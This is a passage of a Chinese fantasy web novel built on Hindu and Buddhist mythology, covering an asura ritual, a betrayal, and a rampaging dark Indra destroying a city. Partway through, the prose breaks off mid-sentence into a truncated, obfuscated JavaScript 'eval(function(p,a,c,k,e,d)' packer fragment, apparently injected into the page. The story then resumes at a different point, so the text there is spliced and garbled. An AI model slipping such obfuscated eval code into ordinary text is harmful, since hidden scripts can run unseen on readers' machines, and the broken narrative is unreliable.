女祭司苏里帕那卡和她的侍从巴鲁目瞪口呆着看着罗婆那由少年变化为女人,然后凭空消失,好半天才回过神来。 轰!—— 轰!轰!!—— 爆炸声越来越近,掀起的气浪已经隐隐波及到这座罗摩神庙。 苏里帕那卡忙吩咐巴鲁去把幸存的阿修罗召集到神庙内避难,然后朝里屋走去。 那个女孩侧卧在七头大蛇顶上。 她被削去头发,头顶的莲花图案鲜红欲滴,她的肌肤白皙得几乎透明。 她目不转睛地盯着女祭司。 吠舍级的阿修罗吗?你想干什么? 苏里帕?……你是罗婆那的人?你是阿修罗? 她的嘴唇不动,但每次却有两个声音交叠在一起,说着不同的话。 苏里帕那卡不敢应答,只是朝两边使了个眼色。 几个侍女上前把那女孩从蛇顶上带下来,然后全都用探询的目光望着苏里帕那卡。 鄙贱的阿修罗,别用你们的脏手碰我! 我杀了刹迦罗……我杀了他……我到底做了什么?…… 苏里帕那卡一咬牙,点了点头。 于是那八个侍女匍匐在地,张开嘴,露出奇形怪状的锋利獠牙,一个接着一个地咬住身边同伴的脚跟,形成环状将女孩围在中间。 被咬破的脚跟淌出湛蓝色的阿修罗之血,她们用指甲蘸着同伴的血,开始在女孩的脖颈、肩膀、胸口、小腹、上臂、手腕、膝盖和脚踝这八个部位绘起复杂的纹案。 梵天用嘴创造了婆罗门,用手创造了刹帝利,用腿创造了吠舍,用脚创造了首陀罗;腰部以下都被视作不洁,而从首陀罗的脚跟中流出的阿修罗之血,是最堕落的存在,以此为凭发动的特殊仪式,能够最大限度地削弱降三世明王的力量,以便令她顺利通过结界进入帝拜。 降三世明王愤怒地尖叫和卡玛痛苦的呻吟不绝于耳,但是处于罗婆那的封印之下,她们什么事也做不到,只能眼睁睁地躺在那里,任由身体被绘得密密麻麻。 八个侍女不断地撕扯着脚跟的伤口,好让更多的血液流出,伴随着女祭司苏里帕那卡沉吟的咒语,她们的身体开始发生变化,光滑细腻的皮肤渐渐变得粗涩黝黑,甚至开始生出鳞片,原本精致美丽的面孔诡异地扭曲着,她们的上下颌不断伸长,眼睛朝两侧偏移,指甲和发丝一起脱落,修长的手指渐渐变得枯瘦如柴,最后双臂都退化消失—— 当那女孩身上八个部位的纹案绘完后,她们已经蜕变成了八条蛇,虽然奄奄一息地在地上蠕动,却依然死死地咬着另一条蛇的尾部不松口。 地上满是干涸的蓝黑色血液,苏里帕那卡的咒语已经到了最后阶段。 眼看顺利地给那女孩身上绘好了阿修罗咒,只要打开通往帝拜的入口就能将她送入楞迦城,女祭司轻轻地松了口气。 就在她刚刚举起左手时,突然身后传来一个男人的声音。 “真是辛苦你了,苏里帕那卡。” 女祭司倒抽一口冷气,她刚要转身,就掉进对方的怀里。 一只手轻轻地摩挲着她修长白皙的脖子,冰冷的触感令她的身体产生阵阵悸动。 “唔……” “谁能想到,罗摩神庙里的女祭司,居然是个阿修罗……” “大……大人……” “说出我的名字来,吠舍。”男人命令着。 “西……西洛大人……” 女孩怔怔地看着那个在罗婆那离去后突然闯入的紫发男子。 她当然不会忘记那张脸。 她以为这个刹帝利已经消失,或者已经被刹迦罗杀掉了,没想到他居然还在人间逗留,现在突然现身,究竟想做什么? “再见到我你好像很惊讶,卡玛小姐。”西洛盯着她。 …… “我一直在暗中观察你的一举一动。”西洛的目光扫过她被绘满了阿修罗咒的赤裸躯体。 “和我们上次见面的时候相比,你已经变得有些不太一样了,卡玛小姐。” “而我……” 西洛微笑道。 “而我也变了……不——不如说是得到了新生,现在的我已经不再是几天前的那个刹帝利了……” 这种变化卡玛也感觉到了,然而她说不出究竟。 他忽然收住笑,捏着苏里帕那卡的下巴将她的脸转向自己。 “你做得非常好,不仅聚集了足够的能量以开启通往帝拜的门,还为降三世明王做好了一切准备……” “降……降三世?”女祭司疑惑地重复着,“明王?……” “看来你还不知道这个女孩的真正身份,罗婆那什么都没有对你透露,就把这么重要的任务交给你?”西洛一挑眉,“也罢,这种事情与你无关,你只需要和其他的阿修罗一起等待就好。” “我……” “苏里帕那卡。”西洛在她耳边说,“把钥匙给我。” “不……”女祭司浑身酥软,若不是西洛从身后扶持,她几乎要瘫倒在地。 “怎么,作为一个吠舍,你居然违抗刹帝利的命令?”西洛冷笑一声。 “不……不是……”苏里帕那卡浑身颤抖。 “你到底在害怕什么?”西洛问。 女祭司鼓足勇气大声说: “完成了这个任务……明帝……明帝大人就会让我成为刹帝利啊!” “原来你是怕我抢了你的功劳。”西洛“哦”了一声,“也是,潜伏在混乱落后的贫民区,明明想跟人类交合榨干他们的性力后再吃他们的肉,却不得不披着祭司的外皮对他们讲解连自己都听不懂的吠陀经,真是难为你了,苏里帕那卡。” “不要这样……西洛大人……” “看来你真的十分渴望成为刹帝利,从吠舍到刹帝利这一级之差,在帝拜意味着天壤之别,若你成功完成任务博得明帝赞赏,被提升为刹帝利后,就和我平起平坐了……以后若是遇到什么事情,我还得处处考量你的意见呢。”西洛冷冷地说,“不过真遗憾,你迫不及待地想成为刹帝利,而恰好我也对成为婆罗门很感兴趣。” “……” “若我要晋级,就势必得除掉任意一个现有的婆罗门然而取而代之……”西洛略一施力,指尖陷入女人柔软细嫩的脖子里,似乎随时都能把她的首级掐下来。 “而若你晋级,则意味着现在的刹帝利里有一个得退位——所以……苏里帕那卡,你明白了吗?”西洛笑道,“你是聪明的女人,一定明白的,是不是?” “……” “没错,若我带着这女孩进入帝拜把她献给楞枷城里的明帝,就能成为婆罗门,而为了填补刹帝利因此而出现的空缺……促成这一切的你就能顺理成章地如愿以偿,这样不是很好吗?”西洛抓住她的手腕,“现在,把钥匙给我。” “等一下……”女祭司慌乱地喊,“若你晋级,那被取替的婆罗门会是谁?” “你觉得呢?”西洛反问,“你觉得还有谁会比一个一再挑拨天神耐性、仗着自己有梵天庇佑就肆无忌惮为所欲为的婆罗门的处境更糟糕呢?” 苏里帕那卡大吃一惊。 “不!这不可能!罗婆那大人是最强的婆罗门……他……他一定不会……” “那就走着瞧吧。”西洛沉下脸,“把钥匙交出来,马上。” 女人用尽全力挣脱了西洛的钳制,跌跌撞撞地扑到卡玛身边,不顾一切地抓住她。 “西洛!你不要再过来!……我马上就带着她去楞枷城觐见明帝!我……我还要把你的话原原本本地告诉罗婆那大人!我——” 咔嚓!—— 苏里帕那卡的话哽在喉头,她低下头,一脸惊愕地盯住从自己胸前穿出的手臂。 “哼。” 女孩的鼻息轻蔑地喷在女祭司的耳根。 “下贱的渣滓!” 苏里帕那卡鲜血四溅,她尖叫一声,打算将从背后偷袭她的人撕碎。 然而她还没来得及展开攻击姿态,一束红光就击穿了她的后脑,从前额透出。 这致命的一击令她当场失去行动力,直挺挺地倒在地上。 女孩一脸厌恶地看着自己染血的手臂和身上密密麻麻的阿修罗咒。 一件白色的风衣披到她肩上,她抬头一看,那个紫发男子正站在他身边。 “你不赶紧逃命,还想做什么?在我面前一个刹帝利和一个吠舍没什么区别。” “这一点我很清楚。”西洛毫无惧色,反而一脸从容。 “那还不快滚?!”女孩血红色的眼一眯,无形巨力卷起一阵狂风。 西洛身形一颤,脸上和身上被拉开数道伤口,却没有挪步。 “倒还有两下子,你和其他的阿修罗似乎有点不同。”她冷笑一声,“刹帝利,你想怎样?” 西洛拭着脸上的血。 “请降三世大人随我一同前往帝拜楞迦城。” 降三世一怔,随即放声大笑。 “你该不是在开玩笑吧,刹帝利?” 见西洛低头不语,她鄙夷地说: “帝拜是你们这些愚昧的阿修罗才会去的地方,与我有何相干?在我还没有觉醒之前你们就三番五次地想把我的肉身带往帝拜,虽然不知道你们究竟在打什么鬼主意,但我还没那么多闲工夫。” “降三世大人是在害怕吗?” “你想激怒我?这种无聊的把戏是没用的。”她轻蔑地说,“我不费吹灰之力就可以让帝拜五百年内寸草不生,八大婆罗门一起上也不是我的对手,有什么好怕的?” “这么说降三世大人是不愿去楞迦城了。”西洛若有所思地点了点头。 “不错,另外,若不是看你还有点胆识,我早就让你变得跟那女人一样了。”降三世说,“在我没改主意之前,你也最好快点滚!” “明帝大人一定会很伤心。”西洛摇了摇头,“在楞迦城里寂寞了一千年,等到的却是这样的答复。” 说着他转身离去。 “站住。” 就在他即将跨出房门时,身后突然传来降三世的声音。 “降三世大人有什么吩咐?”他没有转身。 “你刚才说什么?” “我奉命把降三世大人——” “看着我,刹帝利!”女孩突然厉声喝道。 这一声威喝饱含明王之力,竟令整座罗摩神庙摇摇欲坠,降三世明王身后的七头那迦雕像轰然崩塌。 “你的主人是谁?!谁在楞迦城里等了我一千年?!” 西洛努力抚平被降三世那威势骇人的呼喝震颤的心绪,极力平静地开口应答: “自然是明帝大人了。” “谁是明帝?!说出他的名字来!”降三世上前,一把扼住西洛的喉咙,竟把他整个举了起来。 “……” “说!!”她的眼瞳映着血光。 西洛的唇角抽动着,他似乎下了很大决心,才吐露出几个字: “中……中央……不动尊……” 那几个字仿佛说明了一切,降三世手一松,西洛倒在地上剧烈地喘息着。 “是他?……是他吗?……他怎么会……” 突然她死死地盯着西洛。 “你在撒谎……你一定是在撒谎!一千年前……须弥善见城之巅,他在无往虚空挑战三连神,被湿婆的三千世界无限大自在神通杀死,早已形神俱灭,化为三界六道之间的尘埃了!他怎么会在帝拜称王,变成什么‘明帝’?……你在骗我!刹帝利,我要杀了你!!……” 见她目现凶光,满身的腥红色涌动,甚至以堕落者之血绘好的阿修罗咒都开始出现被反噬的迹象,西洛忙道: “一千年前,你被毗沙门天所杀,大威德明王自毁,如今却又再次在摩诃转生——既然你们可以做到,他为何不能?转生在帝拜是为了避开须弥诸天乃至三连神的耳目,明帝大人暗中积蓄力量,为的就是有一天能重返须弥,达成千年前未了的夙愿啊!” “你为什么会知道这些?……你只不过是个刹帝利罢了!” “这些都是明帝大人亲口告诉我的!”西洛提高声音,“所以,现在你明白了吗,降三世大人?为什么我们这些阿修罗宁愿飞蛾扑火般地与须弥的天神为敌,也要拼命把你带往帝拜——这一切都是为了明帝!为什么那些自称前来保护你的天神不会回答你的任何问题——因为他们根本就是被三连神派来的监视者……为什么因陀罗会到贫民区来追杀你们?因为一旦发觉你的觉醒无可避免后,三连神对他下了格杀令,要他把你和大威德明王彻底消灭!” 听了西洛的话,降三世呆若木鸡。 “那至……那至……” 她喃喃念着那个名字,满脸是泪。 “原来你还活着……” “原来你一直还记得我……” “哈哈哈哈……” 她突然兴奋起来,上前一把抓住西洛。 “快!快带我去帝拜楞迦城!我要去见他!!” 咝——咝咝—— 西洛还未来得及答话,降三世身后传来一阵响动。 胸膛被击穿的女祭司苏里帕那卡突然纵身而起,那八条蛇也由原 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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在她倒地之前,西洛指尖射出的金属丝削下了她的左臂,他拿着那截断肢,将右手放在那只眼睛上,感到宿主濒临死亡的寄生物一遇到新的活体后立即转移,刹帝利的身体显然要比吠舍的更令它自在满足,那只眼睛的体积增大一倍,连降三世都不禁面露诧色。 “通往帝拜楞迦城的钥匙就在我手中。”西洛说,“随时都可以……” “那还等什么?还不快打开入口?”降三世不耐烦地说,“这里恶臭冲天,低级阿修罗的血实在令人作呕,我连一秒钟都不想多呆!” 西洛点头称是,念起咒语。 掌心的眼睛泛起白光,他咬破自己的指尖画出一个两米高四米宽的方形,白光附着在他的血上,形成了一道光之门。 各种奇怪的鸣叫声从门的另一侧传来,在帝拜四处游荡的阿修罗们感应到了结界出现了裂缝,纷纷聚集到附近,企图伺机寻找机会遛到摩诃,然而不可能有任何人成功,为了让降三世明王这样强大的生物进入帝拜,苏里帕那卡使用了罗婆那传授的密术——也就是绘在降三世身上的那些堕落血咒,这些咒文抑制了降三世的力量,使其符合结界的豁免判定,同时这条裂缝是单向的,只能由摩诃进入帝拜,若要强行逆向突破,结果就是在穿越的过程中被分解,彻底丧失物理存在,连转生的机会也被剥夺。 通往帝拜的入口产生吸力,房间里的大小物件纷纷被拉了进去,无论是破裂的石块、浴池中的水、还是苏里帕那卡的尸体碎片,透过那层薄膜状的白光后纷纷变成枯灰无声地消散了。 凝视着传送门中荡漾的光波,降三世喜极而泣。 那至,那至,一千年后,我终于又能再见到你了。 只要能与你在一起,我什么事都愿意做。 你的霸业、你的野心、你的欲望,我都会竭尽所能助力于你。 哪怕世界上所有人都背叛你、憎恨你、诅咒你,我也会站在你身边。 因为,你是我看上的,最强的男人!! 她掀开西洛的风衣,赤身裸体地朝那团光走去。 不可以。 走了两步,她突然驻足不前。 不可以! 西洛在一旁观看,降三世每前行一步,他就愈发心潮澎湃,当那具完美的女性身躯几乎要融入白光之中时,他甚至有些克制不住情绪,然而看到降三世停了下来,他的脸色也随之一黯。 果然……还是不行吗? “你……”降三世全身紧绷,违抗她意志的躯体呈现出怪异的扭曲,她咬牙切齿,眼见只差一步却被人从中扰乱,她勃然大怒。 “滚开!别妨碍我!!” 我不能让你去那里! “你已经三番五次坏我的好事了,小女孩。”降三世面目狰狞,“看在……看在你是我的转生体份上,我已经……已经对你忍让太多了!再不识抬举,就让你烟消云散!!” 那个阿修罗在骗你! “少说废话!!” 罗婆那给他看了我的梦,那些事情根本就不是明帝亲口告诉他的!降三世,被蒙在鼓里的人是你! “你……你说什么?” “怎么了,降三世大人,明帝大人就在那边等你,为什么突然犹豫了呢?” 西洛从旁低语。 中央不动尊明王早就不在了,五大明王里逃进帝拜的是军荼利,那才是明帝的真面目!……不,应该说根本就没有什么明帝,全都是罗婆那一手安排的吧?! “一派胡言!”降三世拼命前行,她的赤足在地上踏出裂痕,她不顾一切地朝光之门伸出手。 “那至!帮帮我!带我走!无论哪里都好!……你要在帝拜称王,我甘愿做阿修罗啊!!” “降三世大人,已经过了一千年,不要再让明帝久等了!” 西洛,别在这里煽风点火!! 降三世突然转脸怒视西洛,左眼闪出截然不同的蓝光,西洛大吃一惊,赶紧发动瞬间移动术,他的身影出现在房间的另一端,而原先所在的位置已经被轰得土崩瓦裂。 你把我们带进帝拜,恰好帮了罗婆那的大忙,这样也没关系吗? 你想把我们送进楞迦城的同时,趁机看看明帝的真面目,对不对? 西洛脸色一变。 既然你开始怀疑明帝的身份,那我就直接告诉你吧:所谓的明帝就是罗婆那的幌子,他以婆罗门的身份按照明帝的旨意做事,同时又以此号令全部的阿修罗,那座城市里空空如也,降三世见不到中央不动尊,而你,也见不到阿修罗王! “你是在嫉妒,卡玛,你在嫉妒我!”降三世面目扭曲,“你得不到阿汉的,那个男人的眼里只有我,若不是这脸、这身体……你根本一无是处!” “这种事情……纯粹是你的猜测吧,卡玛小姐?”西洛笑道,“你想拖延时间吗?还指望有人能来救你?真是遗憾,毗沙门天和持国天已经被狂暴的因陀罗弄得焦头烂额,哪里还有心思放到你身上?至于大威德……他大概已经被天帝释在盛怒之下碎尸万段了吧?” 就在降三世明王、卡玛和西洛三人僵持不下时,突然贫民区的云层间降下一声滚雷般的怒吼: 降三世,原来你躲在罗摩的神庙里!! 西洛大吃一惊。 “降三世大人,再不去楞迦城就来不及了!” “卡玛!”降三世急了。 以为躲在罗摩神庙里我就拿你没辙了吗?! “他要用精神攻击了!”西洛顾不上许多,朝那女孩冲过去。 暗黑·天帝释·无妄尊因陀罗咒·大非空想光明遍照! 光线自苍穹倾泻而下,透过烟尘射进罗摩神庙中。 来自暗黑帝释天的死亡之光,会对所触及到的目标进行可怕的精神攻击,思维越敏锐神经系统活动越频繁的生物受到的伤害越大,不知外面发生何事的虔诚信徒当场像段木头一样直挺挺地倒在地上,而逃进神庙里企图靠毗湿奴的庇佑躲过被屠戮命运的阿修罗们全都遭到灭顶之灾,大非空想光明遍照击溃了他们的精神壁垒,阿修罗们在狂乱中开始自相残杀,即使躲在阴暗的角落里没有受到精神攻击的阿修罗也被其他凶暴的同族毫不留情地撕成了碎片,罗摩神庙里立即变成屠宰场,情形惨不忍睹。 若还要继续前进,那么在冲进传送门之前就会被光照到。 最后关头,西洛终于还是决定优先自保,放开了降三世。 在因陀罗面前,刹帝利的精神壁垒根本形同虚设,他犯不着为了这个送命。 他闪身躲到一根柱子后面,却发现那女孩继续义无反顾地朝那团光爬去。 “快躲开!降三世!”西洛忍不住大吼。 “他在等我……他在那里等我啊……”降三世又哭又笑,“一千年了……不能再让他多等了……” “你会被因陀罗杀掉的!!” “那至,我来了。”降三世朝光之门伸出手。 “降三世!!” “我们永远也不会分开了!” 女孩离通往愣迦城的入口仅咫尺之遥。 苍白的光涌入房间,照在她的身上。 霎那间,她的全身变得惨白,就像灵魂被活生生从体内抽离一样。 她跪在地上,苦笑一声。 “为什么?……我想跟他在一起,究竟什么地方触犯了你们?” 最后一击,降三世。 黑云中再次泛起白光,在先前那一波攻击中幸存的活物在劫难逃。 “若我注定要下地狱……” 她全身红光激闪。 “你也一起来吧,帝释天!!” 降三世·婆娑现世书·胜身三摩耶咒! 暗黑·天帝释·无妄尊因陀罗咒·大非空想光明遍照! 白光闪耀的同时,罗摩神庙□□出一束红光,与先前袭击毗沙门天时的景象如出一辙。 降三世明王与暗黑帝释天各自使出最强的精神攻击,结果只有一个。 那就是两败俱伤。 红光准确无误地击中了暗黑帝释天的左眼,巨大的痛苦和精神负荷令那位带着天威降临人间的暴君凶性大发,他肆无忌惮地践踏着贫民区的土地,将一栋栋高耸入云的摩天大楼推倒,这个城市被他变成摩诃地狱。 而与此同时,降三世亦被白光再次射中,她惨叫一声,身上的红光连同阿修罗咒迅速蒸发。 西洛在一旁亲眼目睹了这一切,但他什么也做不了。 无论是胜身三摩耶咒还是大非空想光明遍照,凭他的修为只能落到被当场格杀的境地。 西洛关闭了传送门。 “你……你做什么?……不要……打开……打开它!”降三世哭着恳求他,她一脸惊恐与无助,与先前判若两人。 这就是……大非空想光明遍照的威力吗? “求求你……带我去帝拜啊……”她泣不成声,脆弱得像个孩子。 阿修罗咒已经失效,现在已经无法再把降三世送进帝拜了。 西洛看着她,心乱如麻。 降三世……她已经完了吗? 如今她的傲气荡然无存,竟全然不顾尊严地向一个阿修罗求助。 这样的她,对明帝,还有什么利用价值吗? 对他……还有用吗? “我没法再帮你了,降三世大人。”他低声说。 是的,他已经什么都做了。 如果你足够强,就不会被自己的转生体拖住。 降三世明王渴望见到自己心中期望的那个男人,而不巧的是,她的另一个人格卡玛,同样拥有令人诧异的坚强意志,甚至与降三世相比有过之而无不及。 如果明帝真的对降三世念念不忘,那么当她离帝拜仅有一步之遥,却被暗黑帝释天攻击时,他一定不会袖手旁观…… 换句话说……自己似乎下错注了? 正当西洛飞快地思索时,女孩抓住了他的裤脚。 “杀了我……杀了我吧。” 西洛轻轻地哼了一声。 “已经放弃了吗……降三世?” “我……我好痛苦……”她满脸是泪,气若游丝。 “看来……我好像真的下错注了。” 他的指尖闪出一丝银丝,悄无声息地勒在了女孩的脖子上。 “毁了这具□□……降三世和卡玛就会同时消失……”他喃喃自语,“这样的话,大概一切也就结束了吧?” 突然女孩直直地盯着他。 她的眼睛蓝得惊人。 “结束了,降三世!”西洛心头一颤,慌乱地收紧手指。 “你本来就不该在这个时代出现……现在抛下一切烦恼,忘却全部恩怨,跳出因果循环,了无牵挂地寂灭吧!!” 就在女孩的头颅即将被割下的一刹那,西洛身后传来一声巨响。 他尚未来得及回头,一只巨掌就攥住了他的手臂,轻而易举地将其拗断。 紧接着一股恐怖的巨力袭来,把西洛整个人甩出数米开外。 “你!……”西洛又惊又怒。 来人单膝点地,将女孩轻轻地放在自己的腿上,小心翼翼地解开缠在她脖子上的锐利金属丝,然后把那只仍在喷血的手臂朝西洛丢去。 看着那个巨人眼中的怒火,西洛以为自己死定了。 然而巨人却转过头,不再理会他。 或许他根本不屑去杀一个对他而言毫无威胁的刹帝利。 他脱下上衣裹住女孩赤裸的身躯,抱着她穿过被他撞碎的墙壁,匆匆离去。 西洛听到了一阵奇异的共鸣。 “注定……是配角吗?” 震耳欲聋的轰鸣声湮没了他的自言自语。 被胜身三摩耶咒击中,彻底陷入狂暴状态的暗黑帝释天,开始攻击罗摩神庙。 在这个摒弃了信仰的时代,毗湿奴的庇佑是极其有限的。 古老的神庙土崩瓦裂。 下雨了。 19. 第 19 章 无论是哪个时代,阿什提都是一座被众神眷顾的城市。 然而今天,它却几乎被自己的守护神踏平。 不到两小时,暗黑帝释天已经将这座超巨型城市毁掉了三分之一。 一次大非空想光明遍照就几乎将第六十八贫民区内所有的人类与阿修罗杀死,而当它再次使用这威力惊人的区域作用精神攻击技后,这片地区连一只活的老鼠都没有留下,完全变成了死域。 意兴阑珊的暗黑帝释天开始朝中心市区前进。 这个身高三百三十米的庞然大物每一步都令大地颤抖,当它像一座移动堡垒开进市区时遭到了攻击,政府在恐慌之下出动了几乎一切能够调用的武装力量,然而全部都是徒劳的,无论是粒子炮还是激光武器都无法破坏暗黑帝释天体表的天神护盾,更无从伤及它的本体,而诸如生化武器和热核武器这类攻击手段,反而对人类更为不利。 市区中心的电力系统令暗黑帝释天的能量更加强大,整个城市的通讯网络彻底瘫痪,强大的电磁波令人造人体纷纷失灵,人类一筹莫展。 “别愁眉苦脸的啦,已经弄成这样了,想必三连神不出面干涉也不行了吧。”希格玛望着远处四处破坏的巨影,“真是伤脑筋啊,杀了那么多人,经济损失难以估量,这个城市也许花上几十年的时间也无法痊愈,如果这一切真要被纳入因果,那个小孩不知道要被折损掉多少年的功德。” “还有些不要命的人,围着它兜圈子,抢第一手新闻呢。”刹迦罗说。 “真的呀……我的天,真是太敬业了。”希格玛咂舌。 “不过很可惜,明天的新闻头条里,不会有这些报道。”刹迦罗说,“今天什么事情都没有发生,一切将会照旧,暗黑帝释天根本不曾出现过。” “你打算怎么办?”希格玛奇怪地看着他,“增长和广目不在摩诃,贫民区已经被毁得七七八八,除了等三连神出手外,我们只能旁观……而且就算能让它安静下来,它造成的巨大破坏也无法修复吧?” “还是有办法的。” 嘎—— 又一栋摩天大楼倾塌,撞在邻近的阿什提歌剧院上。 “多闻,莫非你想……”希格玛勃然变色,“难道你想用那一招?” “……” “我想你最好再仔细考虑一下。”希格玛一脸不赞同地望着老友,“作为你的最终奥义,你的确能够在短暂的时间内获得近似最高支配权,可是……” “持国,我还没有那样的念头。”刹迦罗笑道。 “该死的我不是在开玩笑!”希格玛提高声音,“这样的最终奥义,你在每一个时代里只能使用三次,而代价是每使用一次后你必须熬过长达一千年的虚弱期……在这段时间内你不能使用任何强力法术或高级天神能力,虽然你的神格不会有任何改变,但是你的力量会比一个刹帝利还弱。” “我可以躲在须弥的杨柳宫城里,而且我还有很多护法。” “在这第六个时代里,你已经用过两次最终奥义了,为此受过多少苦痛你自己应该最清楚。”希格玛连连摇头,“多闻,你确定除此之外别无选择了吗?你本来都可以置身事外的。” 刹迦罗眼睑微垂,之后他低声说。 “是吗?我知道了,辛苦你了。” 他抬头对希格玛说: “德卡已经找到四天王庙了,我们马上开始吧。” “四天王庙?”希格玛一脸惊讶,“阿什提的贫民区里不是没有……” “在离市区很远的一个偏僻小镇上有唯一一座属于四天王的庙宇。”刹迦罗说,“幸亏如此,否则老早就被暗黑帝释天毁掉了。” “那里有供奉我的庙?老天怎么我自己都不知道!”希格玛花容失色,“那些人真的有专心供奉我们吗?我们的神像上大概都是灰吧?!” “听德卡说我的神像前偶尔还有些果品,而你和增长广目他们的神像就……” “哼,真是太过分了!”希格玛冲着远处火光大作的市区叫道,“好吧!就让那小孩把你们都轰成灰好了,这个城市、这个人间变成什么样子,跟我这个受尽冷落的小小天神一点关系也没有!” “别闹小孩子脾气了,持国。”刹迦罗笑了笑,“时间不多了,尽快让因陀罗清醒,我还有更重要的事要做。” 就在他打算转身离去的时候,希格玛突然开口。 “多闻。” 刹迦罗回头望着他。 “虽然你这个人总是很缺乏幽默感,但我是真的希望刚才你只是在和我开玩笑而已。”希格玛一脸肃然地对他说,“三连神的最终投票效力在你的临时最高支配权之上,所以你的最终奥义不是必然成功,如果你的想法与三连神的意志背道而驰,是无法得到你想要的结果的。” “我知道。”刹迦罗淡淡地说。 “十八万年前你发动了第一次最终奥义并且成功,但是一千年前的明王战争中你第二次使用这项能力,结果却失败了。”希格玛说,“你好自为之。” 说完他化为一道红光朝东方疾驰而去。 刹迦罗凝视着希格玛消逝的背影。 “多谢,持国。” 毗沙门天大人,四天王庙附近有阿修罗出现! 刹迦罗一怔。 “我马上到。” 当刹迦罗赶到那座四天王庙时,情形令他大吃一惊。 小镇上到处都是被破坏的痕迹,路面上布满大大小小的锥形圆坑,破碎的尸体横七竖八,枪支和满地的弹壳显示着镇上的居民曾拼死抵抗过,然而他们的对手却不是常规手段所能应付的。 小镇中心有一个半球形的金色防护盾,密密麻麻的阿修罗宛若蝗虫,正对其展开疯狂的攻击。 这究竟是怎么回事?为什么阿修罗会大肆进攻这座位于偏僻小镇上的四天王神庙?如此大规模的集体行动,只有经过高级阿修罗号令之后才有可能集结完成,但是…… 阿修罗怎会猜到他的意图? 因陀罗在狂怒之下或机体核心遭到致命损坏后,会变成可怕的暗黑帝释天——这种事情别说是阿修罗,就连绝大部分的天神都闻所未闻。 暗黑帝释天拥有无限的能量和破坏欲,它会毁灭一切,直到整个世界的文明终结,变成荒芜的死国才会停下来,因此有一种说法,每当一个时代的终结之日来临,将整个宇宙清洗净化并归于原点的“劫波”,是由毗湿奴的最后一个化身白马迦尔基、湿婆的恐怖相和暗黑帝释天共同完成的:暗黑帝释天毁灭包括天神、人类、阿修罗等芸芸众生在内的一切有形物,迦尔基毁灭包括道德、秩序、精神、意志和规律在内的一切无形物,最后再由湿婆毁灭时间和空间。 但是现在还不到第六个时代的“劫波”降临的时候,暗黑帝释天的出现仅仅是个意外,所以必须尽快令它停止行动,而要做到这点只有两个办法。 一是三连神亲自出面干预。 二是四大天王合力发动四处加持印。 然而现在阿修罗居然企图破坏仅有的一座四天王庙,这只有一种解释—— 那就是帝拜里有人知道了暗黑帝释天的秘密。 是谁有这么大能耐? 那个所谓的“明帝”吗? 见零散的攻击无法破坏夜叉一族在神庙四周设下的防御结界,阿修罗们开始在空中排开阵势,将蓝色的光流聚集在法阵中央,强大的能量波动掀起狂风,刹迦罗只感到阵阵气流扑面而来,刮在脸上犹如刀割。 阿修罗们念诵着各自的咒文,激起层层回响。 这一波攻势压下来,夜叉之力将无法支撑,德卡他们会与这座神庙——也是封印暗黑帝释天唯一的希望一起化为灰烬! 阿修罗们蓄满了能量,将一个直径上百米的蓝色光球自高空推下。 “德卡先生,我们……要顶不住了!” 数天前为毗沙门天王护驾,从刹迦罗的府邸和不计其数的阿修罗一路厮杀到世界大厦,折损了族内好几位猛将,而德卡自己更差点被幻非天罗婆那侵蚀;今日再次被毗沙门天王紧急传召,匆忙中他只带了四个贴身侍从,能坚持到现在已经是极限,再也经不住阿修罗大军的致命一击了。 莫非这一世就要在今天、在摩诃的异域他乡终结? 德卡环视四周,一双双惊恐绝望的眼正望着他。 “没办法,兄弟们。”他吐了口混着血丝的唾沫,咬了咬牙,“跟他们拼了!” “德卡大人,快看!” 一个随从突然高喊。 德卡刚抬起头,视线就被空中迸射出的万丈金光占据。 三生无落叶秘法·狮子奋迅咒·空遍金刚初割奉还! 夜叉的防御结界上空出现了一层金色的薄光,两者之间有一个人影。 “是……是毗沙门天大人啊!”德卡惊喜交加。 “初割奉还”和“释暗波”都是北方毗沙门天王的法术,释暗波主攻,初割奉还主防,如果说“夜叉虚空藏究级释暗波”是最强的攻击法术,那么“空遍金刚初割奉还”就是他最强的防御绝技。 金光如镜,当集结了阿修罗众全力的最终一击与其接触的瞬间,半透明的镜面上漾开两圈波纹。 之后那个蓝色光球竟被悄无声息地弹了回去。 咦?…… 满以为那座不起眼的破旧神庙会随着讨厌的夜叉护盾一起灰飞烟灭,然后就可以交差领赏,怎料突然横生枝节,阿修罗们眼睁睁地看着自己的攻击被原原本本地反弹,直到眼看一些离得近的修为较低的同类被冲击波碾得粉身碎骨才突然回过神来。 快……快逃呀!!—— 哇啊!!—— 从市中心眺望,能看到遥远的城郊上空爆起一个蓝白色的亮点,接着幻化为绽放的莲花。 巨大的机械战象扬起鼻子发出鸣叫,与它的背部相连的人形体也随之注意到了远处传来的异乎寻常的能量波动。 赤红色的眼注视着那朵渐渐凋零的光莲,接着暗黑帝释天丢开手中的半截高楼,开始大步朝城郊行进。 刹迦罗凝视着点点散落的蓝色星尘。 方才那一击不知杀死了多少个阿修罗,但他没有感到丝毫喜悦。 “明帝”……你究竟是什么人? 连封印暗黑帝释天的方法都知道的你,这么多年藏在深不见底的帝拜,究竟想要做什么? 这个直到现在我也无法看破的局,难道正是三连神为你而设? 多闻。 希格玛的声音打断了他的思绪。 “情况如何?” 除了世界大厦,阿什提中心市区已经被毁得差不多了。 “是吗……” 多闻,小心,它朝你那边去了,再不动手就来不及了! “持国,拖住它十分钟。” 你要求还真高啊。 收了法术,刹迦罗的身影融入夜叉护盾,脚刚一触地德卡等人就迎了上来。 刹迦罗刚想说些什么,却咳出口血来,这可吓坏了五个夜叉。 “大……大人!”德卡浓眉紧锁。 “我没事。”刹迦罗摆了摆手,“刚才一时心急,出手没留分寸,似乎有些超出机体负荷极限了——四天王的神像在哪里?” 德卡不敢多问,忙在前引路,刹迦罗紧随其后,众人惶然让路。 见他不动声色,每走一步却都像是竭尽全力,鲜血沿着指尖不断滴落,一路星星点点,跟在他身后的一位夜叉欲言又止,终于忍不住低声开口: “大人,您的伤……” 刹迦罗回头,微微一笑。 “你的名字叫桑贾,作为夜叉一族的勇士跟随德卡先生已经六百年了,是吗?” “是……是的。”桑贾做梦也没想到毗沙门天王会对他的事了若指掌,忙点头称是。 “桑贾,你看那座城市。”刹迦罗抬手,指向远处的阿什提。 “暗黑帝释天已经将其化为废墟,若再不阻止他,其他的城市、整个人间,甚至是三界都可能沦为同一境地,现在是我们最后的机会了。” 刹迦罗看着那个夜叉。 